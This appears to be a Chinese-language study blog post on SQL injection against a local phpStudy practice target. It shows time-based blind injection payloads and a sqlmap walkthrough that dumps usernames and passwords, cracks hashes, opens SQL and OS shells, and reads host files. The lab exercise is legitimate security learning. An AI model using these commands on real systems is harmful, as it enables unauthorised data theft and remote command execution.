文章记录sql注入的学习过程
工具
1.phpstudy的靶场
2.kali自带的sqlmap
衔接上一篇文章(sql注入1)的内容
1.第四种注入:延迟注入
1.先测试是否有延迟注入
?id= 1 and sleep(n)
像上面输入参数的同时加上延迟n秒回显
再查看浏览器的回显时间
如图:输入n=5,回显耗时5秒多,说明存在延时注入
按照以下格式,配合布尔盲注就能完成延时注入
?id= 1 and if (布尔盲注指令,sleep(n),1)
若布尔盲注内容验证正确,则会延迟n秒回显,若不正确,则快速回显。
2.sqlmap
sqlmap是kali自带的强大的一键sql注入的工具
先确认宿主机的ip
cmd输入ipconfig
可以看到对应ip为192.168.80.1
参对phpstudy靶场目录得到靶场网址是
192.168.80.1/bbs/showmessage.php?id=2
启动kali
切换root
按照常规流程,首先确认是否存在注入点
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’
引号内是网址
能看到当前网址支持布尔注入,union注入,报错注入,延迟注入4种
接下来继续常规流程
先查看当前数据库名字
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ --current-db
可以看到数据库名字为jrlt
继续常规流程,查看当前数据库有那些表单
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ -D x --tables
x是数据库名这里测试就是jrlt
可以看到有messages 和 users两个表单
查看重要的users表单
继续常规流程,查看表单内有哪些字段
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ -D x -T y --columns
这里x仍然是数据库名,y就是表单名
这里测试,y就是users
可以看到,表单的字段,以及表单字符类型,都显现出来了
继续常规流程,查看字段下的内容,
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ -D x -T y -C name,id,password --dump
x还是数据库名,y还是表单名 -C后跟上的是表单内要查看的字段下的数据
这里查看name,id,password
可以看到查询的数据列出来了,sqlmap会询问是否使用字典破解password的加密,可以Sqlmap爆破,也可以自行使用在线解密工具解密
这里使用弱口令爆破,爆破成功就能看到对应密码
sqlmap还有一些扩展内容
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ --sql-shell
以上指令能使你在sqlmap中使用sql指令对数据库数据进行查询
出现以上输入框则说明可以使用sql语句查询
我们查询另一个表单messages的内容
select * from messages
可以看到messages表单的内容
sqlmap还能弱口令破解数据库密码
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ --password
可以得到靶机数据库密码是root
sqlmap还能对目标主机执行系统命令
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ --os-shell
输入后要根据需求选择攻击语言
同样是出现类似对话框则能成功输入
输入ipconfig查看
能够查看的对应ip
sqlmap还能查看对应主机文件内容
sqlmap -u ‘http://192.168.80.1/bbs/showmessage.php?id=2’ --file-read “D:\6.txt”
read后跟上的是文件的绝对路径
根据 返回结果可以看到文件内容保存到的路径
cat 查看相应内容
可以看到6.txt的内容是niko
一切完事之后可以清楚sqlmap的缓存
sqlmap -–purge